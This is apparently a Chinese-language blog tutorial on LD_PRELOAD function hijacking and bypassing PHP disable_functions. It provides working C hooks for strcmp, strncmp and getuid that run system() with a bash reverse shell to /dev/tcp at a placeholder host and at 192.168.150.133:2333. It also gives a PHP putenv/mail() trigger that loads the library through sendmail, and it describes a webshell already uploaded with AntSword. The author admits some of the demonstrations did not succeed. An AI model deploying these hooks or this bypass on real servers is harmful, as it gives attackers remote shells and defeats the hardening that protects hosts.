什么是链接
在学习LD_PRELOAD之前需要了解什么是链接。
程序的链接主要有以下三种:
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
A.静态链接库,在Linux下文件名后缀为.a
,如libstdc++.a
。在编译链接时直接将目标代码加入可执行程序。
B.动态链接库,在Linux下是.so
文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
动态链接库的 搜索路径搜索的先后顺序
-
编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
-
环境变量
LD_LIBRARY_PATH
指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); -
配置文件
/etc/ld.so.conf
中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索); -
默认的动态库搜索路径
/lib
; -
默认的动态库搜索路径
/usr/lib
;
LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库。
LD_PRELOAD介绍
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime
linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。
绕过实现的前置知识
我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。
具体的操作步骤如下:
- 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
- 将所写的 c 文件编译为动态链接库。
- 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
- 结束攻击,使用命令 unset LD_PRELOAD 即可
我们用c语言来测试,因为所有的动态链接库都是c语言写的,一下是个demo:
whoami.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char name[] = "mon";
if (argc < 2) {
printf("usage: %s <given-name>\n", argv[0]);
return 0;
}
if (!strcmp(name, argv[1])) {
printf("\033[0;32;32mYour name Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mYour name Wrong!\n\033[m");
return 0;
}
}
接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数
hook_strcmp.c
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")
。
如下图所示
然后进行编译,并且通过hook_strcmp.c 生成一个动态链接文件如下代码:
root@kunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
gcc -o whoami whoami.c
查看发现已经生成,并且可以测试:
我们再加载一下环境变量,加载了环境变量后就意味着我们劫持成功了,
因为strcmp函数已经被劫持,不再用的是系统的,而是我们自己写的。
export LD_PRELOAD=$PWD/hook_strcmp.so
制作后门
在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws
命令来查看,同时系统命令存储的路径为/uer/bin
,我们以此路劲下的ls为示范
root@kunkun-virtual-machine:~# readelf -Ws /usr/bin/ls
我们选取一个比较方便的动态链接库来进行操作,然后选择的就是
strncmp@GLIBC_2.2.5 (3)
这个动态链接库,然后使用以下demo进行编码和动态链接文件的创建
hook_strncmp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
这样我们的 ls 同时通过调用 system 调用了 id 命令
可见已经调用成功了
既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell,demo如下:
hook_nc_reverse.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/你想反弹的ip地址/2333 0>&1'");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -Wall -fPIC -shared -o hook_nc_reverse.so hook_nc_reverse.c
然后再加载一下hook_nc_reverse.so,之后我们再去查看你反弹的主机,发现已经反弹成功(我以为实现劫持后环境出了问题所以无法演示,但是结果就是如上所说)。
实现绕过
绕过前置问题
在centos的docker环境下实现,进入bypass目录下后你会发现有很多方案,我们今天演示的就是1方案,当然最主要的就是方案1.
然后在蚁剑中进行链接
然后就可以查看到木马已经上传
很明显都是可以访问的,没有其他问题。
但是,我们再在其中写个php文件
然后在网页中进行查看,找到disable_functions,然后查看他的禁用函数
可以发现,以下php能调用的相关执行命令的函数基本都禁用了,这意味着什么?意味着我们这个shell是无用的。
Phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
你会发现你所有的命令都无法执行,所以这个shell纯没有。
所以我们需要一个 新的进程 的启动,加之环境变量的操纵与文件上传和文件包含,,有时候,我们已经拿到了 shell ,但是因为disable_functions不能执行命令,不能拿到想要的东西,而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell ,就可以执行任意命令了,这也就是我们常说的 绕过 disable_function。
绕过步骤
步骤分为以下两步:
第一 php需要启动一个新的进程
第二 控制环境变量
在 PHP 中,我们需要找到可以启动新进程的 PHP 函数,这种情形通常会出现在
处理图片、请求网页、发送邮件等场景中,通常情况下我们所使用的便是 mail 函数了。
简单的来说,我们这里的利用方式,就是利用mail函数发送邮件时,会用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。
利用 mail 函数启动新进程
我们再nginx/html目录下写一个web.php
<?php
mail("a@localhost","","","","");
?>
再用如下命令去追踪系统调用,看他它调用了哪些动态链接库,或是启动了哪些新进程
strace -f php web.php 2>&1 | grep -A2 -B2 execve
我们再来查看sendmail,就像上面查看ls一样,然后找比较方便的动态链接库
readelf -Ws /usr/sbin/sendmail
然后我们找到
然后编译反弹shell
hook_getuid.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/192.168.150.133/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
然后再重复上面的步骤
然后修改web.php,添加putenvputenv函数来实现链接库的设置
<?php
putenv('LD_PRELOAD=/usr/local/nginx/html/hook_getuid.so');// 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>
然后给权限,因为我是nginx下的,所以要给他Apache的
启动web.php
正常来说会显示连接成功,但是我这边卡住了,刚好前面不是有docker吗,然后我们就用蚁剑来演示。
使用这个插件,但是插件市场会一直加载,所以这个链接就是解决方法
https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ
记住这个是在Linux下才能行的,windows的没找到。
选择第一个,因为第一个的效果才是最好的。
因为环境问题,我自己并没有成功,我蚁剑的插件老是弄不上,后面的大致思路就是会生成一个.antproxy.php,我们再创建一个shell,然后再在控制台进行实验就会发现成功绕过,后面我环境搞定了的话我会补一个结果。